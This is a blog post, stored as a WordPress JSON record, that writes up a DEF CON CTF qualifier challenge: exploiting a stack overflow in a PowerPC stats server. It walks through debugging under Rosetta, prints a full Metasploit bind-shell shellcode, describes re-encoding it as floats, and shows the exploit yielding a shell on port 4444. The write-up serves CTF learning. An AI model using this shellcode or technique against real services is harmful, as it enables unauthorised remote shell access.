{"id":94,"date":"2010-05-26T23:11:21","date_gmt":"2010-05-27T03:11:21","guid":{"rendered":"http:\/\/adamrosenfield.com\/blog\/?p=94"},"modified":"2011-02-23T02:29:54","modified_gmt":"2011-02-23T06:29:54","slug":"ill-take-pwtent-pwnables-for-400-please-alex","status":"publish","type":"post","link":"http:\/\/adamrosenfield.com\/blog\/2010\/05\/26\/ill-take-pwtent-pwnables-for-400-please-alex\/","title":{"rendered":"I&#8217;ll take Pwtent Pwnables for 400 please, Alex"},"content":{"rendered":"<p>This past weekend, I participated in my first ever <a href=\"http:\/\/www.defcon.org\/\">DEF CON<\/a> <a href=\"http:\/\/ddtek.biz\/q18.html\">Capture the Flag Qualifying Tournament<\/a>.  CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring down your opponents&#8217; network services.  The qualifying tournament is an open tournament to determine the special few who will get to play CTF.<\/p>\n<p>The categories in this year&#8217;s quals were Persuits Trivial, Crypto Badness, Packet Madness, Binary L33tness, Pwtent Pwnables, and Forensics, laid out in a <em>Jeopardy!<\/em>-style grid.  There were 5 challenges in each category, worth 100 through 500 points respectively.  I spent a fair amount of time working on Pwtent Pwnables (note that this contest was a <em>team<\/em> contest), and though I didn&#8217;t solve it during the contest, I managed to get a working exploit after the contest ended.  Here&#8217;s a writeup of my work.<\/p>\n<p>For this problem, you&#8217;re given <a href=\"http:\/\/adamrosenfield.com\/files\/pp400_8c9d628d2144bbe8b.bin\">this file<\/a> and told that it&#8217;s running on pwnie.ddtek.biz.  Go.<\/p>\n<p>A quick <a href=\"http:\/\/linux.die.net\/man\/1\/file\">file(1)<\/a> says that this is a Mach-O executable ppc.  <a href=\"http:\/\/linux.die.net\/man\/1\/strings\">strings(1)<\/a> suggests that it&#8217;s binding to a port and listening on a socket.  It receives some floating-point numbers, computes the average and standard deviation of those numbers, and sends the results back.  The text includes &#8220;max of 16&#8221;, suggesting an obvious buffer overflow attack.<\/p>\n<p>Let&#8217;s take a look at the disassembly and see what we can figure out.  Fire up objdump, part of the <a href=\"http:\/\/www.gnu.org\/software\/binutils\/\">binutils<\/a> distribution:<\/p>\n<pre>$ objdump -d pp400_8c9d628d2144bbe8b.bin -s > pp400.s<\/pre>\n<p>Hmm.  Not a lot to work with here.  No symbols, and the convoluted dynamic linking makes it extremely difficult to even see what the calls to dynamically linked functions are.  Here&#8217;s what the stub for calling <a href=\"http:\/\/linux.die.net\/man\/2\/fork\">fork(2)<\/a> looks like:<\/p>\n<pre>    3d80:   7c 08 02 a6     mflr    r0\r\n    3d84:   42 9f 00 05     bcl-    20,4*cr7+so,3d88 <LC_SEGMENT.__TEXT.__picsymbolstub1+0x2e8>\r\n    3d88:   7d 68 02 a6     mflr    r11\r\n    3d8c:   3d 6b 00 00     addis   r11,r11,0\r\n    3d90:   7c 08 03 a6     mtlr    r0\r\n    3d94:   85 8b 03 18     lwzu    r12,792(r11)\r\n    3d98:   7d 89 03 a6     mtctr   r12\r\n    3d9c:   4e 80 04 20     bctr<\/pre>\n<p>Can you tell that&#8217;s a fork?  I sure can&#8217;t.  The bcl grabs the current instruction address (0&#120;3d88), and then after some bookkeeping, the value at address 0&#120;3d88+0&#120;792 <!-- stupid WordPress is converting the x in 0xblah to &#215; --> is loaded and then branched to.  The memory at 0&#120;40a0 is in the data segment in a stream of <code>.long 0x2428<\/code>, which presumably get replaced at load time with the actual addresses of the dynamically linked functions.  How exactly that works, though, is still a mystery to me.<\/p>\n<p>Disassembling it isn&#8217;t all that helpful right now, so maybe we can try running it to figure out what it does.  I don&#8217;t have a PowerPC Mac, but thanks to <a href=\"http:\/\/www.apple.com\/rosetta\/\">Rosetta<\/a>, I can run the program seamlessly on my x86 Mac:<\/p>\n<pre>$ chmod a+x pp400_8c9d628d2144bbe8b.bin\r\n$ .\/pp400_8c9d628d2144bbe8b.bin\r\npp400_8c9d628d2144bbe8b.bin: drop_privs failed!\r\n: Operation not permitted<\/pre>\n<p>Well drat.  It looks like it&#8217;s trying to drop privileges (a standard procedure to minimize risk in socket-based applications), but it&#8217;s failing somehow.  What&#8217;s it trying to do?  Let&#8217;s see with <a href=\"http:\/\/developer.apple.com\/mac\/library\/documentation\/Darwin\/Reference\/ManPages\/10.4-intel\/man1\/ktrace.1.html\">ktrace<\/a> (aside: <a href=\"http:\/\/developer.apple.com\/mac\/library\/documentation\/Darwin\/Reference\/ManPages\/man1\/dtrace.1.html\">DTrace<\/a> is far superior to ktrace but only available on OS X v10.5 and up; if you&#8217;re still running 10.4 like I am, then ktrace is your best option).<\/p>\n<pre>$ ktrace .\/pp400_8c9d628d2144bbe8b.bin\r\npp400_8c9d628d2144bbe8b.bin: drop_privs failed!\r\n: Operation not permitted\r\n$ kdump | less<\/pre>\n<p>Looking through the log, we see calls to <a href=\"http:\/\/linux.die.net\/man\/2\/socket\">socket(2)<\/a>, <a href=\"http:\/\/linux.die.net\/man\/2\/setsockopt\">setsockopt(2)<\/a>, <a href=\"http:\/\/linux.die.net\/man\/2\/bind\">bind(2)<\/a>, and <a href=\"http:\/\/linux.die.net\/man\/2\/listen\">listen(2)<\/a>, a standard sequence for a simple server.  The problem failure here is coming from a call to <a href=\"http:\/\/developer.apple.com\/mac\/library\/documentation\/Darwin\/Reference\/ManPages\/man2\/setgroups.2.html\">setgroups(2)<\/a> and <a href=\"http:\/\/developer.apple.com\/mac\/library\/documentation\/Darwin\/Reference\/ManPages\/man2\/setgid.2.html\">setgid()<\/a>:<\/p>\n<pre>  8972 pp400_8c9d628d21 CALL  setgroups(0x1,0xb7fff958)\r\n  8972 pp400_8c9d628d21 RET   setgroups -1 errno 1 Operation not permitted\r\n  8972 pp400_8c9d628d21 CALL  setgid(0x1f8)\r\n  8972 pp400_8c9d628d21 RET   setgid -1 errno 1 Operation not permitted<\/pre>\n<p>Well hmph, I&#8217;m stumped.  The man pages here (<em>and yes I realize I&#8217;m mixing links to the Linux and OS X man pages; it doesn&#8217;t really matter, they say mostly the same things since this is all POSIX<\/em>) say that setgroups() will only succeed if run as root, and setgid() can only do trivial things as non-root.  I&#8217;m definitely not going to run this as root, and the contest server sure as hell won&#8217;t be running as root.<\/p>\n<p>At this point, I cheated (sort of).  I noticed that this program was doing essentially the same things as an earlier problem in the contest, namely pp100.  That problem was a program which also ran a server of sorts, but it was an ELF for FreeBSD.  The difference there was that it included some sort of symbols in it, so disassembling it was incredibly helpful: there were useful function names, and it was obvious which system calls were being made and where.  And in that program, I noticed that it was grabbing a username (digger) out of the data segment and calling <code>drop_privs_user()<\/code> with that username.<\/p>\n<p>Armed with that knowledge and taking another look at the data segment of pp400, we see the string &#8220;luser&#8221; near the beginning.  That looks promising.  So, create a new user on your Mac named luser and try again.<\/p>\n<p>Nope, same error.  Maybe if we try running the program <em>as<\/em> luser?<\/p>\n<pre>$ su luser\r\nPassword:\r\n$ .\/pp400_8c9d628d2144bbe8b.bin<\/pre>\n<p>Success!  It&#8217;s now listening on a socket.  But on what port?  <a href=\"http:\/\/developer.apple.com\/mac\/library\/documentation\/Darwin\/Reference\/ManPages\/man8\/lsof.8.html\">lsof(8)<\/a> to the rescue!<\/p>\n<pre>lsof -i  # Must be run as luser (or as root)\r\nCOMMAND    PID  USER   FD   TYPE    DEVICE SIZE\/OFF NODE NAME\r\npp400_8c9 9254 luser    4u  IPv4 0x689bc9c      0t0  TCP *:nettest (LISTEN)<\/pre>\n<p>It&#8217;s listening on the nettest port; if we grep for that in <code>\/etc\/services<\/code>, we find that that corresponds to port 4138.  So let&#8217;s try that out:<\/p>\n<pre>telnet localhost 4138\r\nTrying ::1...\r\ntelnet: connect to address ::1: Connection refused\r\nTrying 127.0.0.1...\r\nConnected to localhost.\r\nEscape character is '^]'.\r\nSend me some floats (max of 16), I will tell you some stats!\r\n1 2 3^D\r\nThe average of your 3 numbers is 2.000000\r\nThe standard deviation of your 3 numbers is 0.816497\r\nConnection closed by foreign host.<\/pre>\n<p>It took a bit of experimentation, but I eventually figured out that the server didn&#8217;t compute and return results unless you sent a literal ^D (EOF) character.  Let&#8217;s send a gazillion numbers and see what happens:<\/p>\n<pre>$ python -c 'print \" \".join(map(str, range(10000))), \"\\4\"' | nc localhost 4138\r\nSend me some floats (max of 16), I will tell you some stats!\r\n$<\/pre>\n<p>Yep, it crashed all right.  Now let&#8217;s exploit it.  The first step is figuring out where in memory the buffer of floats is being stored.  Normally we could just attach a debugger and figure it out, but debugging a process running Rosetta is not trivial.  Fortunately, it is possible\u2014a little googling leads one to <a href=\"http:\/\/www.extinguishedscholar.com\/wpglob\/?p=319\">this blog post<\/a> and the <a href=\"http:\/\/developer.apple.com\/legacy\/mac\/library\/documentation\/MacOSX\/Conceptual\/universal_binary\/universal_binary_intro\/universal_binary_intro.html\">Universal Binary Programming Guidelines<\/a>, which detail the procedure.  Run the binary with the <code>OAH_GDB<\/code> environment variable set, and then in another shell, run <code>gdb --oah<\/code>, attach to the process, and continue:<\/p>\n<pre># First shell\r\n$ OAH_GDB=YES .\/pp400_8c9d628d2144bbe8b.bin\r\nStarting Unix GDB Session\r\nListening\r\n\r\n# Second shell (must be luser or root)\r\n$ gdb --oah\r\n(gdb) attach pp400_8c9d628d21.9453\r\n(gdb) c<\/pre>\n<p>Unfortunately, it seems that the follow-fork-mode option for GDB does not work on OS X, so if you attempt to set it, you&#8217;ll find that you&#8217;re still attached to the parent process regardless of its setting.  But fortunately, if the child process crashes, gdb still manages to halt when the crash occurs and inspect the program state.  Run the earlier Python one-liner to crash the child process:<\/p>\n<pre>Program received signal SIGSEGV, Segmentation fault.\r\n0x000033f8 in ?? ()\r\n(gdb) disas $pc-20 $pc+20\r\nDump of assembler code from 0x33e4 to 0x340c:\r\n0x000033e4:     lfs     f0,128(r30)\r\n0x000033e8:     rlwinm  r2,r0,2,0,29\r\n0x000033ec:     addi    r0,r30,56\r\n0x000033f0:     add     r2,r2,r0\r\n0x000033f4:     addi    r2,r2,8\r\n0x000033f8:     stfs    f0,0(r2)\r\n0x000033fc:     lwz     r2,60(r30)\r\n0x00003400:     addi    r0,r2,1\r\n0x00003404:     stw     r0,60(r30)\r\n0x00003408:     addi    r0,r30,128\r\nEnd of assembler dump.\r\n(gdb) p\/x $r2\r\n$1 = 0xc0000000\r\n(gdb) p\/x $sp\r\n$2 = 0xbffff400\r\n(gdb) x\/32x $r2-128\r\n0xbfffff80:     0x44340000      0x44344000      0x44348000      0x4434c000\r\n0xbfffff90:     0x44350000      0x44354000      0x44358000      0x4435c000\r\n0xbfffffa0:     0x44360000      0x44364000      0x44368000      0x4436c000\r\n0xbfffffb0:     0x44370000      0x44374000      0x44378000      0x4437c000\r\n0xbfffffc0:     0x44380000      0x44384000      0x44388000      0x4438c000\r\n0xbfffffd0:     0x44390000      0x44394000      0x44398000      0x4439c000\r\n0xbfffffe0:     0x443a0000      0x443a4000      0x443a8000      0x443ac000\r\n0xbffffff0:     0x443b0000      0x443b4000      0x443b8000      0x443bc000<\/pre>\n<p>What happened here is we walked off the stack: we just kept copying into the stack buffer all the way up the stack, which started at 0xbffffffc.  We can clearly see the increasing set of floating-point numbers filling the end of the stack.  Using this <a href=\"http:\/\/babbage.cs.qc.edu\/IEEE-754\/32bit.html\">handy dandy IEEE 754 calculator<\/a>, we see that 0&#120;44340000 is the float 720, which means the buffer started at 0&#120;bfffff80 &#8211; 720*4 = 0&#120;bffff440, which at this point is $sp+0&#120;40.<\/p>\n<p>To exploit this now, we need to put our payload on the stack and then overwrite a return address with the proper stack address so we jump into the payload.  We also can&#8217;t write more than about 751 numbers, since we&#8217;d crash before we got to the payload as we did just here, but fortunately this isn&#8217;t a problem.<\/p>\n<p>Now let&#8217;s figure out in the payload the stack address needs to go.  Restart the server, reattach gdb, and rerun the Python one-liner with only 100 numbers instead of 10000.  The result:<\/p>\n<pre>Program received signal SIGSEGV, Segmentation fault.\r\n0x41d00000 in ?? ()<\/pre>\n<p>The program counter ended up at 0&#120;41d00000, which is the float 26.  So, we need to place our pointer into the payload in the 27th number; the first 26 can be anything.<\/p>\n<p>For the payload itself, start with the osx\/ppc\/shell_bind_tcp payload from <a href=\"http:\/\/www.metasploit.com\/\">Metasploit<\/a>:<\/p>\n<pre>$ msfconsole\r\nmsf &gt; use osx\/ppc\/shell_bind_tcp\r\nmsf payload(shell_bind_tcp) &gt; generate -t c\r\n\/*\r\n * osx\/ppc\/shell_bind_tcp - 224 bytes\r\n * http:\/\/www.metasploit.com\r\n * AutoRunScript=, AppendExit=false, PrependSetresuid=false, \r\n * InitialAutoRunScript=, PrependSetuid=false, LPORT=4444, \r\n * RHOST=, PrependSetreuid=false\r\n *\/\r\nunsigned char buf[] = \r\n\"\\x38\\x60\\x00\\x02\\x38\\x80\\x00\\x01\\x38\\xa0\\x00\\x06\\x38\\x00\\x00\"\r\n\"\\x61\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x48\\x00\"\r\n\"\\x00\\x0d\\x00\\x02\\x11\\x5c\\x00\\x00\\x00\\x00\\x7c\\x88\\x02\\xa6\\x38\"\r\n\"\\xa0\\x00\\x10\\x38\\x00\\x00\\x68\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\\x02\"\r\n\"\\x7c\\x00\\x02\\x78\\x38\\x00\\x00\\x6a\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\"\r\n\"\\x02\\x7c\\x00\\x02\\x78\\x7f\\xc3\\xf3\\x78\\x38\\x00\\x00\\x1e\\x38\\x80\"\r\n\"\\x00\\x10\\x90\\x81\\xff\\xe8\\x38\\xa1\\xff\\xe8\\x38\\x81\\xff\\xf0\\x44\"\r\n\"\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x38\\xa0\\x00\\x02\"\r\n\"\\x38\\x00\\x00\\x5a\\x7f\\xc3\\xf3\\x78\\x7c\\xa4\\x2b\\x78\\x44\\x00\\x00\"\r\n\"\\x02\\x7c\\x00\\x02\\x78\\x38\\xa5\\xff\\xff\\x2c\\x05\\xff\\xff\\x40\\x82\"\r\n\"\\xff\\xe5\\x38\\x00\\x00\\x42\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\"\r\n\"\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7c\\x68\\x02\\xa6\\x38\\x63\\x00\\x28\"\r\n\"\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x00\\x00\"\r\n\"\\x3b\\x7c\\x00\\x04\\xac\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7f\\xe0\"\r\n\"\\x00\\x08\\x2f\\x62\\x69\\x6e\\x2f\\x63\\x73\\x68\\x00\\x00\\x00\\x00\";<\/pre>\n<p>We can&#8217;t just send the payload as-is, though.  We have to send it as floats which then get sscanf&#8217;ed into the raw binary.  So we need to take the payload, group it into 4-byte units, convert those to floats, and print those out as strings, being careful that the resulting strings reconvert back properly.  PowerPC instructions are fixed at 4 bytes, which is convenient in this case.  I did that with this little C snippet:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void emit(unsigned int op)\r\n{\r\n  char buf&#x5B;256];\r\n\r\n  union\r\n  {\r\n    unsigned int op;\r\n    float f;\r\n  } u;\r\n\r\n  float g;\r\n\r\n  u.op = op;\r\n  sprintf(buf, &quot;%64.64f&quot;, u.f);\r\n  if(sscanf(buf, &quot;%f&quot;, &amp;g) != 1 || g != u.f)\r\n    printf(&quot;***BAD*** 0x%08x (%s)\\n&quot;, u.op, buf);\r\n  else\r\n    printf(&quot;%s\\n&quot;, buf);\r\n}<\/pre>\n<p>Trying it out, we see a couple of the opcodes from the payload don&#8217;t encode properly: 7fc3f378 (mr r3,r30) and 7fe00008 (trap).  Why?  Well, these correspond to encodings of <a href=\"http:\/\/en.wikipedia.org\/wiki\/NaN\">NaN<\/a>.  If you try and sscanf back the string &#8220;nan&#8221;, you&#8217;re not going to get those values back.<\/p>\n<p>Time to bust out the <a href=\"http:\/\/www.power.org\/resources\/downloads\/PowerISA_V2.06_PUBLIC.pdf\">Power ISA<\/a>.  Let&#8217;s find some instructions we can replace those with that encode properly.  We want to avoid any instruction that begins with the bits 011111111 or 111111111.  After some perusing through the opcode maps, I found that &#8220;addi r3,r30,0&#8221;, encoded as 387e0000, would be a suitable replacement for &#8220;mr r3,30&#8221;, and &#8220;twi 15,r0,0&#8221;, encoded as 0de00000, would be a suitable replacement for &#8220;trap&#8221;.  The trap instruction isn&#8217;t actually necessary, it&#8217;s just a safety in case the system call to exec() to execute the shell fails, but I decided to replace it anyways.<\/p>\n<p>Throw in a standard nop sled, and we&#8217;re done!  <a href=\"http:\/\/adamrosenfield.com\/files\/pp400-exploit.c\">Here&#8217;s<\/a> the final exploit code.  Run as:<\/p>\n<pre>$ .\/pp400-exploit | nc localhost 4138\r\nSend me some floats (max of 16), I will tell you some stats!\r\nThe average of your 148 numbers is inf\r\nThe standard deviation of your 148 numbers is inf\r\n\r\n# Open up a new shell and connect to the bind shell\r\nnc localhost 4444\r\nid\r\nuid=504(luser) gid=504(luser) groups=504(luser)\r\npwd\r\n\/Users\/luser<\/pre>\n<p>Huzzah!  We have a bind shell!<\/p>\n<p>Now I mentioned earlier that I didn&#8217;t get around to solving this during the contest, so I don&#8217;t know if this exploit would have worked against the target machine.  I do know, however, that since the PowerPC exploit worked flawlessly on my x86 Mac, it wouldn&#8217;t have mattered whether the target machine was actually PPC or x86 (though I did have to tweak the length of the nop sled and the buffer address to jump to until it worked, since the program has different behavior when running under the debugger and when not).  Props to Rosetta for correctly translating code generated at runtime.<\/p>\n<p>And that, my friends, is an anatomy of an exploit.<\/p>\n<p>You could have done all that, or you could have realized that this problem was identical to <a href=\"http:\/\/shallweplayaga.me\/pwnable\/\">pp400 from last year<\/a>.  I of course didn&#8217;t realize this since I didn&#8217;t compete last year, but one of my teammates pointed this out to me (yet somehow I lost the motivation to keep working on this problem&#8230;).  That unofficial writeup to which I just linked was taken down during the contest, presumably because the writers were competing again and didn&#8217;t want to give other teams an advantage, though my teammate had a copy of the text.  In any case, I still had fun solving this.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This past weekend, I participated in my first ever DEF CON Capture the Flag Qualifying Tournament. CTF is a contest at the aforementioned annual hacker conference where the goal is to keep your team&#8217;s network services (which are on a closed intranet) up and running for as much as possible, while simultaneously trying to bring [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-94","post","type-post","status-publish","format-standard","hentry","category-programming"],"_links":{"self":[{"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/posts\/94","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/comments?post=94"}],"version-history":[{"count":13,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/posts\/94\/revisions"}],"predecessor-version":[{"id":197,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/posts\/94\/revisions\/197"}],"wp:attachment":[{"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/media?parent=94"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/categories?post=94"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/adamrosenfield.com\/blog\/wp-json\/wp\/v2\/tags?post=94"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}